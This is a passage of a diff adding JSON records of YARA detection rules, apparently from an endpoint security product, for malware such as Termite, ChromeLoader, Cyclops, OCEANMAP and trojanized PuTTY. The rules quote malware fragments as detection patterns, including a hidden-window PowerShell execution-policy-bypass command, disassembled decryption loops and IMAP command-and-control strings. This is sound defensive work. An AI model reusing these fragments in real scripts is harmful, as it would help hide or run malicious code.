+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware"
+  ],
+  "name": "windows_malware_loader_termite.yar",
+  "content": "rule termite_loader {\n    meta:\n        title = \"Termite Loader\"\n        id = \"362c275a-503b-44d5-b3c4-57992782df74\"\n        description = \"Detects the malicious malware loader Termite.\\nTermite is a malware loader identified by Mandiant that contains encrypted shellcode. It is used by several malicious groups, including UNC2596, to inject malicious code into legitimate processes. This loader is often used for persistence and lateral movement within a compromised environment.\\nIt is recommended to isolate the affected process and check for any signs of suspicious code injection.\"\n        references = \"https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware\"\n        date = \"2022-09-27\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1059.001\"\n        classification = \"Windows.Loader.Termite\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Decryption loop used in a lot of samples\n\n        // Detection for EXE sample :\n        $op1 = {\n            33 D2                //    xor     edx, edx\n            33 C0                //    xor     eax, eax\n            33 C2                //    xor     eax, edx\n            0F B7 01             //    movzx   eax, word ptr [ecx]\n            66 2B 05 [4]         //    sub     ax, word_401052\n            66 F7 35 [4]         //    div     word_401054\n            8B D2                //    mov     edx, edx\n            88 06                //    mov     [esi], al\n            8B D2                //    mov     edx, edx\n            46                   //    inc     esi\n            8B D2                //    mov     edx, edx\n            43                   //    inc     ebx\n            8B D2                //    mov     edx, edx\n            83 C1 02             //    add     ecx, 2\n            4F                   //    dec     edi\n            8B D7                //    mov     edx, edi\n            85 FA                //    test    edx, edi\n\n        }\n\n        // Detection for this sample:\n        // 1842ddc55b4bf9c71606451d404a21f7f3da8e54c56318010c80ba4f571bd8f5\n        $op2 = {\n            33 D2                 //        xor     edx, edx\n            8B 01                 //        mov     eax, [ecx]\n            33 D2                 //        xor     edx, edx\n            2B 05 [4]             //        sub     eax, ds:dword_402004\n            33 D2                 //        xor     edx, edx\n            F7 35 [4]             //        div     ds:dword_402008\n            33 D2                 //        xor     edx, edx\n            88 06                 //        mov     [esi], al\n            33 D2                 //        xor     edx, edx\n            46                    //        inc     esi\n            33 D2                 //        xor     edx, edx\n            43                    //        inc     ebx\n            33 D2                 //        xor     edx, edx\n            83 C1 04              //        add     ecx, 4\n            33 D2                 //        xor     edx, edx\n            3B DF                 //        cmp     ebx, edi\n        }\n\n        // Detection for this sample:\n        // 811bb84e1e9f59279f844a040bf68d25ad29a756fbc07cffd7308f8490a15329\n        $op3 = {\n            51                                            // push    ecx\n            8B C8                                         // mov     ecx, eax\n            33 DB                                         // xor     ebx, ebx\n            8B 01                                         // mov     eax, [ecx]\n            33 D2                                         // xor     edx, edx\n            2B 05 [4]                                     // sub     eax, ds:dword_402004\n            F7 35 [4]                                     // div     ds:dword_402008\n            88 06                                         // mov     [esi], al\n            46                                            // inc     esi\n            43                                            // inc     ebx\n            83 C1 04                                      // add     ecx, 4\n            3B DF                                         // cmp     ebx, edi\n            7C E5                                         // jl      short loc_4010A5\n            59                                            // pop     ecx\n        }\n\n        // Detection for this sample:\n        // 7f357ab4ac225e14a6967f89f20926e9e0db15dca5b8fe058c120a365570b783\n        $op4 = {\n            8B 2D [4]                                     // mov     ebp, dword ptr ds:byte_40A034+10h\n            8B FA                                         // mov     edi, edx\n            89 1C 24                                      // mov     [esp+14h+var_14], ebx\n            33 F6                                         // xor     esi, esi\n            85 D2                                         // test    edx, edx\n            7E 16                                         // jle     short loc_4090CE\n            8B CB                                         // mov     ecx, ebx\n            8B D8                                         // mov     ebx, eax\n            8B 03                                         // mov     eax, [ebx]\n            33 D2                                         // xor     edx, edx\n            F7 F5                                         // div     ebp\n            41                                            // inc     ecx\n            83 C3 04                                      // add     ebx, 4\n            46                                            // inc     esi\n            88 51 FF                                      // mov     [ecx-1], dl\n            3B F7                                         // cmp     esi, edi\n            7C EE                                         // jl      short loc_4090BC\n            8B 04 24                                      // mov     eax, [esp+14h+var_14]\n            89 2D                                         // mov     dword ptr ds:byte_40A034+10h, ebp\n        }\n\n        // Detection for this sample:\n        // d1e14b5f02fb020db4e215cb5c3abc6a7b1589443bccd6f03b77ee124ca72b5c\n        $op5 = {\n            33 D2                         // xor     edx, edx\n            0F B7 01                      // movzx   eax, word ptr [ecx]\n            33 D2                         // xor     edx, edx\n            66 2B 05 [4]                  // sub     ax, word_401052\n            33 D2                         // xor     edx, edx\n            66 F7 35 [4]                  // div     word_401054\n            33 D2                         // xor     edx, edx\n            88 06                         // mov     [esi], al\n            33 D2                         // xor     edx, edx\n            46                            // inc     esi\n            33 D2                         // xor     edx, edx\n            43                            // inc     ebx\n            33 D2                         // xor     edx, edx\n            83 C1 02                      // add     ecx, 2\n            33 D2                         // xor     edx, edx\n            3B DF                         // cmp     ebx, edi\n        }\n\n        // Detection for this sample:\n        // 7b2144f2b5d722a1a8a0c47a43ecaf029b434bfb34a5cffe651fda2adf401131\n        $op6 = {\n            8B 2D [4]                                     // mov     ebp, dword ptr ds:byte_40A034+10h\n            89 04 24                                      // mov     [esp+18h+var_18], eax\n            8B FA                                         // mov     edi, edx\n            8B C3                                         // mov     eax, ebx\n            89 5C 24 04                                   // mov     [esp+18h+var_14], ebx\n            33 F6                                         // xor     esi, esi\n            85 D2                                         // test    edx, edx\n            7E 17                                         // jle     short loc_4090C5\n            8B CB                                         // mov     ecx, ebx\n            8B 1C 24                                      // mov     ebx, [esp+18h+var_18]\n            8B 03                                         // mov     eax, [ebx]\n            33 D2                                         // xor     edx, edx\n            F7 F5                                         // div     ebp\n            41                                            // inc     ecx\n            83 C3 04                                      // add     ebx, 4\n            46                                            // inc     esi\n            88 51 FF                                      // mov     [ecx-1], dl\n            3B F7                                         // cmp     esi, edi\n            7C EE                                         // jl      short loc_4090B3\n            8B 44 24 04                                   // mov     eax, [esp+18h+var_14]\n            89 2D                                         // mov     dword ptr ds:byte_40A034+10h, ebp\n        }\n\n    condition:\n        any of them\n\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "termite_loader"
+  ],
+  "rule_creation_date": "2022-09-27",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.Termite"
+  ],
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-windows_malware_powershell_launcher_a0fa8f48772b_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.585251Z",
+  "creation_date": "2026-03-23T11:46:25.585253Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.585259Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "Internal Research"
+  ],
+  "name": "windows_malware_powershell_launcher_a0fa8f48772b.yar",
+  "content": "rule malware_unknown_powershell_launcher_a0fa8f48772b {\n    meta:\n        title = \"PowerShell Launcher (a0fa8f48772b)\"\n        id = \"2a47f9c6-0b0c-46db-9171-a0fa8f48772b\"\n        description = \"Detects a malicious launcher sample that launch PowerShell.\\nThis rule identifies a malicious PowerShell launcher known to attempt execution via PowerShell scripts or related tools.\\nIt is recommended to investigate PowerShell event for suspicious activities.\"\n        references = \"Internal Research\"\n        date = \"2021-12-20\"\n        modified = \"2025-03-18\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1059.001\"\n        classification = \"Windows.Malware.UnknownPowershellLauncher\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Suspicious APIs imported\n        $api_import1 = \"RtlVirtualUnwind\" ascii\n        $api_import2 = \"CorBindToRuntimeEx\" ascii\n        $api_import3 = \"CoCreateInstance\" ascii\n        $api_import4 = \"CoInitialize\" ascii\n        $api_import5 = \"CoUninitialize\" ascii\n\n        // Suspicious strings related\n        $sus_string1 = \"%systemroot%\\\\system32\\\\windowspowershell\\\\v1.0\\\\powershell_ise.exe\" wide\n        $sus_string2 = \"%ProgramData%\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Accessories\\\\Windows PowerShell\\\\Windows PowerShell (x86).lnk\" wide\n        $sus_string3 = \"%ProgramData%\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Accessories\\\\Windows PowerShell\\\\Windows PowerShell.lnk\" wide\n        $sus_string4 = \"%windir%\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\" wide\n        $sus_string5 = \"WindowsPowerShellHelp.chm\" wide\n        $sus_string6 = \"%systemroot%\\\\hh.exe\" wide\n\n        // Powershell Unmanaged Entrypoint\n        $powershell_unamanged_entry = \"Microsoft.PowerShell.UnmanagedPSEntry\" wide\n\n        $wks_clr_binding = {\n            45 8D 45 ??          // lea r8d, [r13 + 0xXX]\n            48 8D 15 ?? ?? ?? ?? // lea rdx, [rip + 0xXXXXXXXX] // 'wks'\n            48 8B CB             // mov rcx, rbx\n            E8 ?? ?? ?? ??       // call CorBindToRuntimeEx\n            3D 00 17 13 80       // cmp eax, CLR_E_SHIM_RUNTIMELOAD\n        }\n\n    condition:\n        uint16(0) == 0x5A4D and filesize < 200KB and ((all of ($sus_string*) and $powershell_unamanged_entry) or (all of ($api_import*) and 2 of ($sus_string*) and $powershell_unamanged_entry and $wks_clr_binding))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "malware_unknown_powershell_launcher_a0fa8f48772b"
+  ],
+  "rule_creation_date": "2021-12-20",
+  "rule_modified_date": "2025-03-18",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.UnknownPowershellLauncher"
+  ],
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-windows_trojan_chromeloader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.569368Z",
+  "creation_date": "2026-03-23T11:46:25.569370Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.569376Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blogs.blackberry.com/en/2022/11/chromeloader-infects-the-browser-by-loading-malicious-extension"
+  ],
+  "name": "windows_trojan_chromeloader.yar",
+  "content": "rule chromeloader {\n    meta:\n        title = \"ChromeLoader Malware\"\n        id = \"981d0da6-5454-45fe-a2ee-a18b1058ae35\"\n        description = \"Detects ChromeLoader Malware.\\nChromeLoader is a malware designed to compromise popular browsers such as Google Chrome. It modifies browser settings to redirect traffic to malicious advertising sites and can hijack browsers to steal sensitive information like passwords.\"\n        references = \"https://blogs.blackberry.com/en/2022/11/chromeloader-infects-the-browser-by-loading-malicious-extension\"\n        date = \"2022-11-10\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1059;attack.persistence;attack.t1112;attack.t1176\"\n        classification = \"Windows.Trojan.ChromeLoader\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // ded20df574b843aaa3c8e977c2040e1498ae17c12924a19868df5b12dee6dfdd\n\n        $s1 = \"Z:\\\\bundle_installer\\\\CS_installer\\\\obj\\\\Release\\\\net48\\\\win7-x86\\\\CS_installer.pdb\" ascii\n        $s2 = \"powershell -ExecutionPolicy Bypass -WindowStyle Hidden -E\" ascii wide\n        $s3 = \"Install Error, incompatible system\" ascii wide\n        $s4 = \"ChromeLoader\" ascii wide\n        $s5 = \"CS_installer.exe\" ascii wide\n        $s6 = \"$taskName = \\\"ChromeLoader\\\"\" wide base64wide base64\n        $s7 = \"if($_ -Match \\\"load-extension\\\")\" wide base64wide base64\n        $s8 = \"(Get-WmiObject Win32_Process -Filter \\\"name='chrome.exe'\\\") | Select-Object CommandLine | ForEach-Object\" wide base64wide base64\n\n    condition:\n        uint16(0) == 0x5a4d and 6 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "chromeloader"
+  ],
+  "rule_creation_date": "2022-11-10",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.ChromeLoader"
+  ],
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059",
+    "attack.t1176",
+    "attack.t1112"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-windows_trojan_cyclops_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.568815Z",
+  "creation_date": "2026-03-23T11:46:25.568817Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.568822Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://harfanglab.io/insidethelab/cyclops-replacement-bellaciao/\nhttps://malpedia.caad.fkie.fraunhofer.de/actor/charming_kitten\nhttps://attack.mitre.org/techniques/T1071/004/"
+  ],
+  "name": "windows_trojan_cyclops.yar",
+  "content": "rule charmingkitten_cyclops {\n    meta:\n        title = \"Cyclops Trojan\"\n        id = \"bb25e38e-52ff-496d-87bc-6b9e848c81de\"\n        description = \"Detects the Cyclops Trojan.\\nCyclops is a Golang-based malware associated with the Charming Kitten threat group. Charming Kitten, also known as APT 35, Phosphorus, Parastoo, and Newscaster, is a suspected Iranian-linked actor targeting government, defense technology, military, and diplomatic sectors. The group is known for sophisticated cyber espionage activities.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://harfanglab.io/insidethelab/cyclops-replacement-bellaciao/\\nhttps://malpedia.caad.fkie.fraunhofer.de/actor/charming_kitten\\nhttps://attack.mitre.org/techniques/T1071/004/\"\n        date = \"2024-07-31\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071.004\"\n        classification = \"Windows.Trojan.Cyclops\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64,arm,arm64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // fafa68e626f1b789261c4dd7fae692756cf71881c7273260af26ca051a094a69\n\n        $go = \" Go build ID: \\\"\" ascii\n        $a1 = \"dep\\tback-service\\t(devel)\" ascii fullword\n        $a2 = \"/brain-loader-enc.go\\x00\" ascii\n        $a3 = \"back-service/go-mux/api\" ascii\n        $a4 = \"/JD-M42KItJncJfqb38qh/\" ascii\n\n    condition:\n        filesize > 2MB and filesize < 20MB\n        and (uint16(0) == 0x5A4D)\n        and $go\n        and (2 of ($a*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "charmingkitten_cyclops"
+  ],
+  "rule_creation_date": "2024-07-31",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.Cyclops"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.004"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-windows_trojan_dllpasswordfilterimplant_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.587972Z",
+  "creation_date": "2026-03-23T11:46:25.587974Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.587980Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/GoSecure/DLLPasswordFilterImplant"
+  ],
+  "name": "windows_trojan_dllpasswordfilterimplant.yar",
+  "content": "rule LSA_DLLPasswordFilterImplant {\n    meta:\n        title = \"LSA Notification Package (DLLPasswordFilterImplant.dll)\"\n        id = \"90be38e5-3c61-4e34-8039-3139310adda6\"\n        description = \"Detects the DLLPasswordFilterImplant project, a suspicious LSA Notification Package.\\nThis project demonstrates how an attacker can inject a malicious DLL into the Local Security Authority (LSA) subsystem to capture user credentials during authentication. The LSA Notification Package can be used to intercept sensitive information, such as passwords, at the time of authentication.\\nIt is recommended to perform a thorough investigation of LSA-related processes and registry entries.\"\n        references = \"https://github.com/GoSecure/DLLPasswordFilterImplant\"\n        date = \"2022-05-05\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1556.002\"\n        classification = \"Windows.Trojan.LSAPackage\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample :\n        // 9bb375cbc99beb2420a600555e14724b19a36a85fa320037bb9927d6ece195d2\n\n        $s1 = \"BCRYPT_SUCCESS(res) || !\\\"BCryptOpenAlgorithmProvider\\\"\" fullword wide\n        $s2 = \"buffer && buffer->data\" fullword wide\n        $s3 = \"SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\" fullword wide\n        $s4 = \"InitializeChangeNotify\" fullword ascii\n        $s5 = \"PasswordChangeNotify\" fullword ascii\n        $s6 = \"PasswordFilter\" fullword ascii\n        $s7 = \"%wZ:%wZ\" fullword ascii\n\n    condition:\n        (uint16(0) == 0x5a4d) and filesize < 2MB and all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "LSA_DLLPasswordFilterImplant"
+  ],
+  "rule_creation_date": "2022-05-05",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.LSAPackage"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1556.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-windows_trojan_oceanmap_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583843Z",
+  "creation_date": "2026-03-23T11:46:25.583845Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583851Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cert.gov.ua/article/6276894\nhttps://attack.mitre.org/techniques/T1059/003\nhttps://attack.mitre.org/techniques/T1071/003"
+  ],
+  "name": "windows_trojan_oceanmap.yar",
+  "content": "rule masepie_campaign_oceanmap {\n    meta:\n        title = \"OCEANMAP RAT\"\n        id = \"a1706a25-e2e8-459f-a6d0-d61c98475dee\"\n        description = \"Detects the OCEANMAP RAT.\\nOCEANMAP is a RAT-type implant discovered by CERT-UA. It uses IMAP/S as a command and control channel. The rule identifies IMAP commands and indicators related to credential handling and process management.\\nIt is recommended to isolate the affected system and investigate network traffic for IMAP-based C2 communication.\"\n        references = \"https://cert.gov.ua/article/6276894\\nhttps://attack.mitre.org/techniques/T1059/003\\nhttps://attack.mitre.org/techniques/T1071/003\"\n        date = \"2024-01-26\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1059.003;attack.command_and_control;attack.t1071.003\"\n        classification = \"Windows.Trojan.OCEANMAP\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 24fd571600dcc00bf2bb8577c7e4fd67275f7d19d852b909395bebcbb1274e04\n        // 50b000a7d61885591ba4ec9df1a0a223dbceb1ac2facafcef3d65c8cbbd64d46\n\n        $dotNet = \".NETFramework,Version\" ascii fullword\n\n        $a1 = \"$ SELECT INBOX.Drafts\" wide fullword\n        $a2 = \"$ SELECT Drafts\" wide fullword\n        $a3 = \"$ UID SEARCH subject \\\"\" wide fullword\n        $a4 = \"$ APPEND INBOX {\" wide fullword\n        $a5 = \"+FLAGS (\\\\Deleted)\" wide fullword\n        $a6 = \"$ EXPUNGE\" wide fullword\n        $a7 = \"BODY.PEEK[text]\" wide fullword\n\n        $t1 = \"change_time\" ascii fullword\n        $t2 = \"ReplaceBytes\" ascii fullword\n        $t3 = \"fcreds\" ascii fullword\n        $t4 = \"screds\" ascii fullword\n        $t5 = \"r_creds\" ascii fullword\n        $t6 = \"comp_id\" ascii fullword\n        $t7 = \"changesecond\" wide fullword\n        $t8 = \"taskkill /F /PID\" wide fullword\n        $t9 = \"cmd.exe\" wide fullword\n\n    condition:\n        filesize > 8KB and filesize < 100KB\n        and (uint16be(0) == 0x4D5A)\n        and $dotNet\n        and (3 of ($a*))\n        and (2 of ($t*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "masepie_campaign_oceanmap"
+  ],
+  "rule_creation_date": "2024-01-26",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.OCEANMAP"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.003",
+    "attack.t1059.003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-windows_trojan_putty_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.569398Z",
+  "creation_date": "2026-03-23T11:46:25.569400Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.569406Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.mandiant.com/resources/blog/dprk-whatsapp-phishing"
+  ],
+  "name": "windows_trojan_putty.yar",
+  "content": "import \"pe\"\n\nrule trojanized_putty {\n    meta:\n        title = \"Trojanized PuTTY\"\n        id = \"de7a91bc-d607-47c9-bac4-22020ed64a9b\"\n        description = \"Detects a trojanized version of PuTTY used by the UNC4034 threat actor.\\nThis rule identifies a malicious variant of the PuTTY remote access tool, specifically associated with the UNC4034 threat actor. The trojanized PuTTY was observed in a July 2022 campaign where it was used to drop a malicious payload to disk before executing it.\\nIt is recommended to analyze the payload file for malicious content.\"\n        references = \"https://www.mandiant.com/resources/blog/dprk-whatsapp-phishing\"\n        date = \"2022-09-27\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1204.002\"\n        classification = \"Windows.Trojan.PuTTY\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    condition:\n        // Detection for these samples:\n        // 1492fa04475b89484b5b0a02e6ba3e52544c264c294b57210404b96b65e63266\n        // cf22964951352c62d553b228cf4d2d9efe1ccb51729418c45dc48801d36f69b4\n        // a14a74c3a56fa40bc87bd997cddbbd2239f505a4a29d1d4e0ea6ed51d2574159\n        // 35b3aa459b7f7d1bf7351bb3a3e37b544ad6056152ac2fc6dc525b70b1d46154\n        // d62d2888067b3dab7d93cba362202c4a17c086c531949b071f9758866b4c9d6b\n        // a88998b7b275d866ea3aec24b45488299384a2d8e0f2db60447f26bd550856ce\n\n        (uint16(0) == 0x5a4d) and\n        filesize < 8MB and\n        filesize > 2MB and\n        pe.version_info[\"OriginalFilename\"] == \"PuTTY\" and\n        pe.number_of_signatures == 0 and\n        for any i in (0 .. pe.number_of_sections) : (\n            pe.sections[i].name == \".data\" and pe.sections[i].raw_data_size > 200KB\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "trojanized_putty"
+  ],
+  "rule_creation_date": "2022-09-27",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.PuTTY"
+  ],
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1204.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
